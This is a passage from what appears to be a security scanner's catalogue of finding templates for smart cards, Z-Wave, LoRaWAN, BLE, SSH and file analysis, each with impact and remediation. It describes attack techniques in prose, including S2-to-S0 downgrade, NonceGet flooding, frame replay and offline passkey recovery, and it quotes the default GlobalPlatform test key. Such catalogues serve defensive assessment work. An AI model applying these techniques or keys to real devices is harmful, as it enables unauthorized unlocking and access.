Remediation: Replace legacy 802.15.4a-only UWB parts with 802.15.4z STS-capable silicon (e.g. DW3000-class) for access control or safety-critical asset tracking.
Effort: Significant
NIST 800-53: SA-4, SC-13
MEDIUM GB-UWB-012 — UWB Device Trackable via Static Address in Blink Frames
Description: UWB blink/ranging frames broadcast a stable device address (EUI-64 or fixed 16-bit short address) in every transmission, with no privacy-preserving address rotation.
Impact: A tag that emits a fixed address in every blink can be tracked and correlated to the asset (or person) it is attached to by any passive UWB receiver, defeating location privacy for the RTLS deployment.
Remediation: Rotate the tag's transmitted address/identifier (privacy-preserving randomised addressing) and expose the stable identity only under an authenticated session.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
NIST 800-53: SC-8
INFO GB-SC-001 — Smart Card Detected
Description: A smart card was detected in a PC/SC reader during zero-knowledge scanning, along with its Answer-To-Reset (ATR).
Impact: Confirms a live smart-card authentication surface and provides the ATR/reader context needed to target every subsequent fingerprint, APDU, and key test.
Remediation: Reconcile every detected card against the authorised asset inventory; disable unused card-based authentication paths.
Effort: Easy
INFO GB-SC-002 — Smart Card Reader Detected
Description: A PC/SC (CCID) smart-card reader was enumerated on the test host, providing the contact/contactless channel used for card assessment.
Impact: Establishes the reader interface used to reach the card; benign on its own but scopes the physical attack surface.
Remediation: No action required for the reader itself; ensure reader firmware is current and only authorised readers are attached to production hosts.
Effort: Easy
INFO GB-SC-003 — Smart Card ATR Fingerprinted
Description: The card's Answer-To-Reset (ATR) was captured and analysed, disclosing the card platform, chip, and card operating system.
Impact: The ATR reveals the exact card OS/chip, letting an attacker select platform-specific attacks (known default keys, applet exploits, CVM weaknesses) and defines the surface tested in later phases.
Remediation: ATR disclosure is inherent to ISO-7816 and cannot be suppressed; compensate by ensuring the identified platform is fully patched and its default keys/PINs are rotated.
Effort: Easy
LOW GB-SC-004 — Predictable Smart Card Serial Number
Description: The card serial/UID returned by the card is low-entropy, sequential, or otherwise predictable rather than cryptographically random.
Impact: A guessable or sequential serial lets an attacker enumerate valid card identities, forge enrolment records, or correlate a card to a holder, undermining any control that trusts the serial as an identifier.
Remediation: Issue cards with cryptographically-random, high-entropy serial/UID values; never derive the identifier from a sequential batch counter.
Effort: Moderate
NIST 800-53: IA-4
HIGH GB-SC-005 — Weak or Absent Cardholder Verification Method
Description: The card served sensitive file content in response to raw READ BINARY APDUs with no Cardholder Verification Method enforced (no PIN required; the card did not answer 0x6982 'security status not satisfied').
Impact: With no CVM, mere possession of the card is sufficient to access protected data and operations — there is effectively no authentication, so a lost or briefly-borrowed card yields full access.
Remediation: Define and enforce a CVM (PIN, PACE, or on-card biometric) access condition on every protected file and command; verify the card returns 0x6982 for unauthenticated access.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
NIST 800-53: IA-2, AC-3
PCI DSS 4: 8.3.1
HIGH GB-SC-006 — Unauthenticated APDU Access to Sensitive File
Description: An elementary file was read via a raw READ BINARY APDU that returned 0x9000 with data without any prior VERIFY/cardholder verification being presented.
Impact: Any party with brief physical access to the card and a low-cost reader can extract the file's contents (asset data, credentials, holder identifiers) directly, with no PIN or key.
Remediation: Protect sensitive elementary files with a CVM access condition and enforce it in the card OS access rules; require secure messaging for READ BINARY on protected files.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1052 (Exfiltration)
NIST 800-53: AC-3, AC-6
CRITICAL GB-SC-007 — Default GlobalPlatform Card Manager Keys
Description: The card's GlobalPlatform Issuer Security Domain authenticated an SCP secure channel using the default test key set (40..4F / 404142434445464748494A4B4C4D4E4F).
Impact: An attacker with the card can open the same authenticated channel to install, delete, or replace applets and read/rotate keys — a full compromise of the card manager and everything the card protects.
Remediation: Rotate the ISD keys (ENC/MAC/KEK) to unique, per-card random values before deployment via GlobalPlatform PUT KEY; never ship cards on the 40..4F default key set.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
NIST 800-53: IA-5, SC-12, CM-6
PCI DSS 4: 2.2.1, 8.3.1
MEDIUM GB-SC-008 — Cleartext Data Object Readable on Smart Card
Description: Data read from the card without authentication contains cleartext printable strings (asset, holder, or configuration information stored and returned in the clear).
Impact: Sensitive data objects returned in the clear disclose asset/holder/configuration information to anyone who can read the card, aiding cloning, social engineering, or privacy compromise.
Remediation: Store sensitive data objects encrypted or behind a CVM; do not return holder/asset identifiers from unauthenticated files.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
NIST 800-53: SC-28, MP-4
HIGH GB-SC-009 — Default or Known Smart Card PIN Accepted
Description: The card accepted a well-known factory default PIN via an ISO-7816 VERIFY command (SW 0x9000) during an operator-confirmed, single-attempt test.
Impact: Anyone in possession of the card can satisfy cardholder verification with a published default PIN and unlock CVM-protected files and operations, defeating the PIN control entirely.
Remediation: Force a PIN change away from all factory defaults at first use; enforce PIN complexity and a low retry counter with a secure unblock (PUK) procedure.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
NIST 800-53: IA-5
PCI DSS 4: 8.3.5, 8.3.9
MEDIUM GB-SC-010 — Insecure GlobalPlatform Card Lifecycle State
Description: The GlobalPlatform card lifecycle state is OP_READY or INITIALIZED rather than SECURED, meaning the card manager was never transitioned to its locked production state.
Impact: A card left in a pre-issuance lifecycle state permits card-content management and key-setup operations that should be closed off once the card is issued, widening the window for applet/key tampering.
Remediation: Transition the card to the SECURED lifecycle state (and lock the card manager) as part of issuance so pre-personalisation management commands are no longer accepted.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L
NIST 800-53: CM-6, CM-7
MEDIUM GB-SC-011 — No Secure Messaging — Cleartext APDU Channel
Description: The card returned sensitive file data over a cleartext (plain) APDU channel with no secure messaging (C-MAC/C-ENC) applied.
Impact: A passive USB-CCID or contactless interceptor can capture the command/response exchange verbatim, recovering sensitive data and enabling replay of the observed commands.
Remediation: Mandate GlobalPlatform / ISO-7816 secure messaging (C-MAC + C-ENC) for all commands that carry or return sensitive data.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
MITRE ATT&CK: T1557 (Collection)
NIST 800-53: SC-8, SC-13
INFO GB-SC-012 — SmartCard Testing SKIPPED — No PC/SC Reader or Tools Available
Description: Smart-card testing was not performed because the required PC/SC toolchain (pcsc_scan / opensc-tool) or reader was unavailable; the module honestly recorded that no card test ran.
Impact: No assurance can be drawn about the device's smart-card authentication posture — the interface remains untested until a reader and the PC/SC tools are present.
Remediation: Connect an Identiv SCR3310 (or any PC/SC) reader, install pcsc-tools, opensc, and GlobalPlatformPro (gp), start pcscd, and re-run the SmartCard module.
Effort: Easy
INFO GB-ZW-001 — Z-Wave Device Detected
Description: A Z-Wave network was detected during passive sub-GHz (868/908 MHz) capture, along with its cleartext frame header data (HomeID and one or more NodeIDs).
Impact: Confirms a live Z-Wave mesh within RF range and provides the HomeID/NodeID needed to target every subsequent enumeration and security test.
Remediation: Reconcile every discovered Z-Wave HomeID/NodeID against the authorised asset inventory; disable or shield Z-Wave interfaces that are not required.
Effort: Easy
MITRE ATT&CK: T1200 (Initial Access)
NIST 800-53: CM-8, PM-5
INFO GB-ZW-002 — Z-Wave Network Enumerated
Description: The Z-Wave mesh was enumerated passively from cleartext frame headers, disclosing the HomeID, the set of NodeIDs, and the command-class traffic exchanged between the controller and its slaves.
Impact: Maps the controller/slave topology and per-node command-class usage, letting an attacker identify locks, switches, and sensors and plan targeted forge/replay attacks against specific nodes.
Remediation: Z-Wave frame headers are inherently cleartext; minimise information leakage by enforcing S2 on all traffic and physically limiting RF exposure of the mesh.
Effort: Moderate
MITRE ATT&CK: T1592 (Reconnaissance)
NIST 800-53: CM-8
HIGH GB-ZW-003 — Unencrypted Z-Wave Control Frames
Description: Actionable Z-Wave control traffic (e.g. Binary Switch, Multilevel Switch, Door Lock, Alarm) was observed in the clear, with no S0 (CC 0x98) or S2 (CC 0x9F) encapsulation.
Impact: Any passive listener can read device state, and any attacker with a TX-capable radio can forge or replay commands — unlocking doors, toggling actuators, or suppressing alarms — with no key required.
Remediation: Enforce S2 (Security_2) on every node, remove nodes that cannot be securely included, and never operate actuators or locks over unencrypted command classes.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-13
PCI DSS 4: 4.2.1
MEDIUM GB-ZW-004 — Z-Wave S0 Legacy Security Class in Use
Description: The network uses the legacy S0 Security command class (CC 0x98), which relies on AES-OFB/CBC-MAC with a network key exchanged at inclusion under a hardcoded all-zero temporary key and lacks S2's anti-replay and forward-secrecy protections.
Impact: An attacker who captures a device inclusion recovers the S0 network key and can decrypt and forge all S0 traffic; S0 also permits replay that S2 would reject.
Remediation: Migrate all nodes to S2; retire S0-only devices. If S0 is unavoidable, perform inclusion inside a shielded enclosure so the key exchange cannot be sniffed.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
MITRE ATT&CK: T1600 (Defense Evasion)
NIST 800-53: SC-13, SC-12
PCI DSS 4: 4.2.1
HIGH GB-ZW-005 — Z-Wave S0 Network Key Extractable on Inclusion
Description: Because the network uses S0, its network key is derivable by any attacker who captures a device inclusion: the Network Key Set frame is encrypted only under the well-known temporary key 0x00000000000000000000000000000000, so the S0 network key can be extracted offline.
Impact: Recovering the S0 network key lets an attacker decrypt every past and future S0 frame and forge authenticated commands (unlock doors, actuate devices); a node re-included after a power loss re-exposes the key.
Remediation: Use S2 (ECDH-authenticated key exchange with out-of-band DSK) so the network key is never sent under a hardcoded key; shield any required S0 inclusion.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-12, IA-5
PCI DSS 4: 3.6.1
HIGH GB-ZW-006 — Z-Wave S2 Security Downgrade to S0 Accepted
Description: During inclusion the controller accepted a downgrade of the negotiated security class from S2 to the legacy S0 command class (the 'Z-Shave' attack), because S2-only inclusion is not enforced.
Impact: An attacker in RF range at inclusion time can force S0, recover the network key via the hardcoded all-zero temporary key, and take control of the device despite S2 support being present.
Remediation: Enforce S2-only inclusion with no S0 fallback; reject any KEX_REPORT that requests a lower security class; require out-of-band DSK verification at inclusion.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1600.001 (Defense Evasion)
NIST 800-53: SC-13, SC-12
PCI DSS 4: 4.2.1
HIGH GB-ZW-007 — Z-Wave Command Replay Accepted
Description: A previously captured unencrypted (or S0) Z-Wave command frame was retransmitted and the device acted on it, confirming no effective anti-replay protection.
Impact: An attacker can record a legitimate command (lock/unlock, on/off) and replay it later to actuate the device without ever possessing the network key.
Remediation: Enforce S2, whose Singlecast nonce/SPAN sequencing rejects replayed frames; never operate actuators over unencrypted or S0 command classes.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-8, SC-23
PCI DSS 4: 4.2.1
INFO GB-ZW-008 — Z-Wave S2 Secure Class Confirmed
Description: The network was observed using the S2 Security_2 command class (CC 0x9F), which performs an ECDH (Curve25519) authenticated key exchange with an out-of-band DSK and provides per-frame nonce-based anti-replay.
Impact: S2 traffic is not passively decryptable or trivially replayable; this is the desired posture, though it must be confirmed for ALL nodes with no S0 fallback permitted.
Remediation: Confirm every node is S2 (no S0-only devices) and that the controller enforces S2-only inclusion with no S0 fallback; verify DSK out-of-band at inclusion.
Effort: Easy
NIST 800-53: SC-13
MEDIUM GB-ZW-009 — Z-Wave S0 NonceGet Denial-of-Service Exposure
Description: The Z-Wave gateway accepts unauthenticated S0 NonceGet requests, allowing an attacker to flood NonceGet frames (the 'S0-No-More' attack) and exhaust the gateway's nonce state so legitimate S0 encryption is blocked.
Impact: A denial-of-service that halts the whole S0 mesh — including safety-relevant devices such as locks and sensors — requiring only RF range and a valid included NodeID.
Remediation: Migrate off S0 to S2; rate-limit NonceGet handling; drop NonceGet requests from NodeIDs that are not actively transacting.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
MITRE ATT&CK: T1498 (Impact)
NIST 800-53: SC-5
INFO GB-ZW-010 — Z-Wave Testing SKIPPED — No SDR or Sniffer Available
Description: Z-Wave testing was not performed because no SDR/sniffer was selected, no capture CLI was installed, or no Z-Wave traffic was observed on the selected frequency. This is an honesty marker so the operator is not misled into thinking the interface was assessed.
Impact: The Z-Wave attack surface remains unassessed; any unencrypted control, S0 key-exchange, downgrade, or replay weakness would go undetected until the module is re-run with working capture hardware.
Remediation: Attach a HackRF One (EZ-Wave / scapy-radio), a CatSniffer with Sub-GHz firmware, or an RTL-SDR (waving-z / rtl_433), install the Z-Wave capture tooling, and re-run the module to actually assess the interface.
Effort: Easy
INFO GB-LORA-001 — LoRa Transmission Detected
Description: LoRa radio transmissions were captured on the device's regional ISM band (433/868/915 MHz) during passive scanning, including frame count and observed MHDR MType(s).
Impact: Confirms a live LoRa wireless attack surface and provides the frames needed to target the subsequent LoRaWAN activation, key, replay, and payload tests.
Remediation: Reconcile the transmitting radio against the authorised asset inventory; disable or shield LoRa interfaces that are not required and document expected channels/spreading factors.
Effort: Easy
MITRE ATT&CK: T1040 (Discovery)
INFO GB-LORA-002 — LoRaWAN Network Traffic Detected
Description: LoRaWAN protocol traffic (Join and/or MAC data frames identifiable by their MHDR/FHDR structure and DevAddr) was identified in the passive capture.
Impact: Confirms a LoRaWAN network is in range and reachable to a passive listener, exposing DevAddr and frame-counter metadata used to assess replay and key-management weaknesses.
Remediation: Confirm the LoRaWAN deployment is authorised and inventoried; ensure the network server enforces monotonic frame counters and secure join handling.
Effort: Easy
MITRE ATT&CK: T1040 (Discovery)
HIGH GB-LORA-003 — Raw LoRa Payload Transmitted Without Encryption
Description: A proprietary (non-LoRaWAN) LoRa frame carried an application payload that decodes to printable/structured cleartext, indicating the payload is transmitted with no encryption or message integrity check.
Impact: Any passive listener in radio range reads sensor/telemetry data directly, and — absent a MIC — can forge or replay commands to the device, undermining confidentiality and integrity of the RF link.
Remediation: Encrypt and authenticate the application payload (AES-CTR/GCM with a per-device key and a monotonic counter/nonce), or adopt LoRaWAN and rely on its MIC and FRMPayload encryption.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
MITRE ATT&CK: T1040 (Discovery)
NIST 800-53: SC-8, SC-13
PCI DSS 4: 4.2.1
HIGH GB-LORA-004 — LoRaWAN ABP Activation — Static Session Keys
Description: The device is activated by ABP (Activation By Personalization), so the NwkSKey and AppSKey are provisioned as static, long-lived key material instead of being derived per session by an OTAA join.
Impact: On a device reset the frame counter returns to zero while the keys are unchanged, so the AES-CTR keystream/IV is reused across sessions — enabling known-plaintext / crib-dragging recovery of payloads and replay of previously captured uplinks.
Remediation: Prefer OTAA so fresh session keys are derived per join; where ABP is mandatory, persist frame counters across reboots (never reset them) and rotate the ABP session keys on a defined schedule.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1040 (Discovery), T1557 (Credential Access)
NIST 800-53: SC-12, IA-5
PCI DSS 4: 3.6.1
HIGH GB-LORA-005 — LoRaWAN OTAA Join Replay — Missing DevNonce Tracking
Description: The device uses OTAA under LoRaWAN 1.0.x, where the end device cannot detect a repeated Join-Accept and the network server only remembers a bounded number of recent DevNonce values, so a captured Join-Request can be replayed after that window rolls over.
Impact: An attacker replays a captured Join-Request to force a re-join and session-key reset, enabling denial-of-service against the node or pinning it to attacker-observable key material derived from replayed nonces.
Remediation: Upgrade to LoRaWAN 1.1, which enforces a monotonic DevNonce counter and join-server nonce tracking; where 1.0.x is required, persist the full DevNonce history per device and reject any repeat.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
MITRE ATT&CK: T1040 (Discovery), T1557 (Credential Access)
NIST 800-53: SC-23, IA-2
PCI DSS 4: 8.3.1
CRITICAL GB-LORA-006 — LoRaWAN Default or Weak AppKey
Description: The device's LoRaWAN root AppKey (OTAA) or session keys (ABP) are default, all-zero, sequential, vendor-shared, or derivable from the public DevEUI — i.e. a hard-coded or guessable credential.
Impact: Recovering the AppKey lets an attacker derive the session keys, decrypt every FRMPayload, forge a valid MIC, and fully impersonate the device — collapsing the entire LoRaWAN security model for that node and any others sharing the key.
Remediation: Provision a unique, random, secret AppKey per device at manufacture; never print, log, share, or derive it from public identifiers; store it in a secure element and rotate immediately on suspected compromise.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1040 (Discovery), T1557 (Credential Access)
NIST 800-53: IA-5, SC-12
PCI DSS 4: 3.6.1, 8.3.1
HIGH GB-LORA-007 — LoRaWAN Missing Frame-Counter Validation
Description: The network accepted a LoRaWAN uplink whose frame counter (FCnt) was equal to or lower than a previously-seen value — observed as a repeated FCnt in the capture, or confirmed by an authorized replay — indicating frame-counter validation is not strictly enforced.
Impact: Without strict monotonic frame-counter checks an attacker replays captured uplinks to re-trigger device actions or mask live telemetry with stale readings, defeating the protocol's core replay protection.
Remediation: Enforce strict monotonic frame-counter validation at the network server (reject any FCnt <= last seen), enable 32-bit frame counters, and alert on counter resets or rollovers.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
MITRE ATT&CK: T1040 (Discovery), T1557 (Credential Access)
NIST 800-53: SC-23, SI-10
PCI DSS 4: 6.2.4
MEDIUM GB-LORA-008 — LoRaWAN Cleartext Application Payload
Description: The captured FRMPayload decodes to printable/structured data and the application relies solely on LoRaWAN's session-key FRMPayload encryption, with no independent end-to-end application-layer encryption.
Impact: Any holder of the session keys — the network server, a compromised join server, or an attacker who recovered a weak/default key — reads the plaintext, and for raw or misconfigured payloads a passive listener may read it directly.
Remediation: Add end-to-end application-layer encryption/authentication (e.g. AES-GCM with a key held only by the device and the application server) so LoRaWAN network operators cannot read or forge sensitive payloads.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1040 (Discovery)
NIST 800-53: SC-8, SC-13
PCI DSS 4: 4.2.1
MEDIUM GB-LORA-009 — LoRaWAN 1.0.x — No Join-Request Replay Protection
Description: The network operates LoRaWAN 1.0.x, in which Join-Request messages carry no replay protection prior to the 1.1 monotonic DevNonce counter — a protocol-version exposure applying to every OTAA device on the network.
Impact: The version gap leaves all OTAA joins susceptible to nonce reuse and Join-Request replay, providing a standing foothold for denial-of-service and session-reset attacks independent of any single observed replay.
Remediation: Migrate the network server and end devices to LoRaWAN 1.1, which adds monotonic DevNonce handling and join-server nonce tracking; until then, maximise the DevNonce cache and monitor for repeated joins.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
MITRE ATT&CK: T1040 (Discovery), T1557 (Credential Access)
NIST 800-53: SC-23
PCI DSS 4: 6.2.4
INFO GB-LORA-010 — LoRa Testing SKIPPED — No SDR or LoRa Radio Available
Description: Gearbox attempted LoRa / LoRaWAN assessment but no usable radio was available: either no hardware was selected, the LoRa32 sniffer board exposed no serial port, or neither rtl_433 nor urh_cli was on PATH.
Impact: LoRa / LoRaWAN was NOT tested for this interface, so any radio-layer, key-management, or replay weakness remains unverified and unreported until a capture-capable radio is provided.
Remediation: Flash a Heltec LoRa32 v3 or LilyGo LoRa32 with single-channel-sniffer firmware via Quiver, or attach an RTL-SDR / HackRF with rtl-433 and universal-radio-hacker installed, then re-run the module.
Effort: Easy
HIGH GB-BT-030 — BLE LESC Passkey Recovered from Passive Capture
Description: The 6-digit LE Secure Connections Passkey Entry passkey was recovered offline from a passively-captured pairing. In LESC Passkey Entry each of the 20 passkey bits is committed with f4 (AES-CMAC over the cleartext ECDH public keys, the revealed per-round nonce, and one passkey bit); once the nonce is revealed the single bit is brute-forced by matching the captured Pairing Confirm, and the recovery is confirmed independently from the initiator and responder halves.
Impact: An attacker who passively sniffs ONE pairing recovers the passkey with no active MITM and no physical access to the printed value. If the passkey is static or reused it authenticates every future session and every unit that shares it, collapsing LESC Passkey Entry to Just Works — full man-in-the-middle and session compromise.
Remediation: Use a fresh, random, single-use passkey per pairing that is never printed, hard-coded, or reused; a passkey a single sniffed pairing reveals provides no MITM protection under LESC.
Effort: Moderate
NIST 800-53: IA-5, SC-8, SC-13
LOW GB-SSH-006 — SSH Password Authentication Enabled
Description: The SSH server accepts password-based authentication methods (password and/or keyboard-interactive) alongside public key authentication. Password authentication is susceptible to brute-force attacks and does not enforce multi-factor authentication.
Impact: An attacker can attempt password brute-force attacks against the SSH service. Even with strong passwords, password authentication lacks the cryptographic assurance of key-based authentication and is incompatible with most MFA implementations. Compliance frameworks including CIS Benchmarks and DISA STIGs mandate public-key-only SSH authentication.
Remediation: Disable PasswordAuthentication and ChallengeResponseAuthentication in /etc/ssh/sshd_config. Require public key authentication exclusively. CIS Benchmark and DISA STIG both mandate disabling password-based SSH login.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1110 (Credential Access), T1078 (Initial Access)
NIST 800-53: IA-2, IA-5, CM-6
PCI DSS 4: 8.3.1, 2.2.4
MEDIUM GB-SSH-007 — SSH Password-Only Authentication (No Public Key)
Description: The SSH server accepts only password-based authentication methods (password and/or keyboard-interactive) with no public key authentication available. This is a significant security weakness — the server cannot accept key-based authentication at all, making brute-force the only barrier to unauthorized access.
Impact: Without public key authentication, the SSH server relies entirely on password strength for security. An attacker can mount online brute-force or credential-stuffing attacks with no cryptographic barrier. This configuration violates CIS Benchmark and DISA STIG requirements for SSH hardening.
Remediation: Enable public key authentication and disable PasswordAuthentication and ChallengeResponseAuthentication in /etc/ssh/sshd_config. Generate and deploy SSH key pairs for all authorized users.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1110 (Credential Access), T1078 (Initial Access)
NIST 800-53: IA-2, IA-5, CM-6
PCI DSS 4: 8.3.1, 2.2.4
CRITICAL IS-001 — Known malicious file hash ({classification})
Description: A file's cryptographic hash (MD5, SHA1, or SHA256) matches a known threat indicator in the pr0t31n threat intelligence database, indicating the file is associated with malware, exploits, or other malicious activity.
Impact: A confirmed malicious file on the system indicates active compromise or staging for an attack. The attacker may have already achieved code execution, data exfiltration, or persistence. Business impact includes potential data breach, regulatory violations, and incident response costs.
Remediation: Quarantine this file immediately. Investigate its origin and any systems it has touched. Perform a full malware scan on the host. Review access logs to determine how the file arrived and whether it was executed. Rotate any credentials that may have been exposed.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1204 (Execution), T1059 (Execution)
NIST 800-53: SI-3, SI-4
PCI DSS 4: 5.2.1, 5.3.1
MEDIUM IS-002 — Encrypted file detected
Description: A file exhibits very high Shannon entropy (>7.99 out of 8.0), strongly indicating encryption. The encryption method is estimated based on file structure patterns (block size alignment, magic bytes).
Impact: Encrypted files may indicate data exfiltration preparation (encrypted archives for staging stolen data), ransomware activity, or the presence of encrypted command-and-control communications. If unexpected, this warrants investigation into the file's purpose and origin.
Remediation: Determine whether encryption is expected for this file. If not, investigate the file's origin and purpose. Check for ransomware indicators. Attempt to identify the encryption algorithm and key management approach.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1027 (Defense Evasion), T1486 (Impact)
NIST 800-53: SC-13, SC-28
PCI DSS 4: 3.5.1
LOW IS-003 — Possibly encrypted file detected
Description: A file exhibits elevated Shannon entropy (7.5–7.99), suggesting possible encryption or heavy compression. The boundary between compressed and encrypted data is not always clear at this entropy range.
Impact: While potentially benign (compressed data naturally has high entropy), this finding warrants review to rule out encrypted payloads, obfuscated malware, or staged exfiltration archives.
Remediation: Verify whether the file is a known compressed format. If not, treat as potentially encrypted and investigate further.
Effort: Easy
MITRE ATT&CK: T1027 (Defense Evasion)
NIST 800-53: SC-13
LOW IS-004 — GPS coordinates embedded in file metadata
Description: A file (typically an image) contains GPS coordinates embedded in its EXIF metadata, potentially revealing the physical location where the file was created.
Impact: Exposed GPS coordinates can reveal sensitive locations such as office buildings, data centres, employee homes, or secure facilities. This information can be used for physical reconnaissance, social engineering, or targeted attacks.
Remediation: Strip EXIF metadata before sharing files externally. Use tools like exiftool -all= to remove metadata. Implement organisational policies requiring metadata stripping for outbound files.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1592 (Reconnaissance)
NIST 800-53: SC-28, SI-12
MEDIUM IS-005 — Packed/obfuscated executable detected ({packers})
Description: An executable file contains signatures of known packers (UPX, Themida, ASPack, PECompact, Petite, NsPack, MEW, MPRESS). Packing is a technique used to compress or obfuscate executable code, commonly employed by malware to evade antivirus detection.
Impact: While some legitimate software uses packing for size reduction or intellectual property protection, packed executables are a strong indicator of malware attempting to evade signature-based detection. The presence of packing increases the difficulty of static analysis and may indicate active evasion of security controls.
Remediation: Unpack the executable and analyse the underlying binary. Determine if packing is legitimate (software protection) or suspicious. Submit to malware analysis sandbox for dynamic analysis. Block execution pending investigation.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N
MITRE ATT&CK: T1027.002 (Defense Evasion), T1045 (Defense Evasion)
NIST 800-53: SI-3
PCI DSS 4: 5.2.1
HIGH IS-006 — Information Disclosure: Secret in File
Description: A sensitive credential, token, API key, private key, or connection string was detected in a file's contents. The specific type varies (AWS keys, GitHub tokens, Slack tokens, JWT, Bearer tokens, database connection strings, etc.).
Impact: Exposed credentials provide direct access to systems, APIs, or data stores. An attacker who obtains these can impersonate legitimate users, access cloud resources, exfiltrate data, or pivot to additional systems. The severity depends on the credential's scope and privileges.
Remediation: Remove the secret from the file immediately. Rotate the credential — treat it as compromised. Check git history for prior exposure and use tools like truffleHog or git-secrets to prevent future leaks. Implement a secrets management solution (Vault, AWS Secrets Manager, etc.).
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
OWASP API: API2:2023 - Broken Authentication
MITRE ATT&CK: T1552.001 (Credential Access), T1552.004 (Credential Access)
NIST 800-53: IA-5, SC-12, SC-28
PCI DSS 4: 2.2.7, 8.3.2
HIGH IS-007 — Weak cryptographic key ({key_bits} bits)
Description: A certificate or private key file uses a cryptographic key shorter than 2048 bits. Keys below this threshold are considered weak and potentially vulnerable to factoring attacks with modern computing resources.
Impact: A weak cryptographic key can be factored by a well-resourced attacker, allowing them to decrypt intercepted traffic, forge signatures, or impersonate the certificate holder. This undermines the entire trust chain built on the certificate.
Remediation: Regenerate the certificate with at least 2048-bit RSA or 256-bit EC key. Update all systems and services that reference this certificate. Revoke the old certificate.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-12, SC-13
PCI DSS 4: 4.2.1
INFO OSIFT-001 — Discovery: Subdomain
Description: A subdomain belonging to the target organisation was identified through passive or active enumeration (Amass, subfinder, certificate transparency, theHarvester, puredns brute-force).
Impact: Discovered subdomains expand the known attack surface and may reveal development environments, internal tools, or forgotten services that lack production-grade security controls.
Remediation: Review all discovered subdomains for unintended exposure. Ensure internal/development subdomains are not publicly resolvable where unnecessary.
Effort: Low
CVSS Vector: N/A
MITRE ATT&CK: T1590.001 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
INFO OSIFT-002 — Live Host Confirmed
Description: A subdomain or IP address responded to HTTP/HTTPS probing (httpx) or ICMP/TCP and is confirmed to be serving traffic.
Impact: Confirmed live hosts verify that discovered IP addresses are actively serving content, distinguishing real targets from inactive allocations. This narrows the attack surface to actionable targets for subsequent vulnerability scanning.
Remediation: Ensure only intended services are publicly accessible. Review the confirmed host list for shadow IT or forgotten assets.
Effort: Low
CVSS Vector: N/A
MITRE ATT&CK: T1590.001 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
MEDIUM OSIFT-003 — Open Port Identified on Subdomain
Description: A non-standard or sensitive port (e.g., 8080, 8443, 9200, 27017, 3306) was found open on a subdomain via naabu port scanning or Shodan. Exposes additional attack surface.
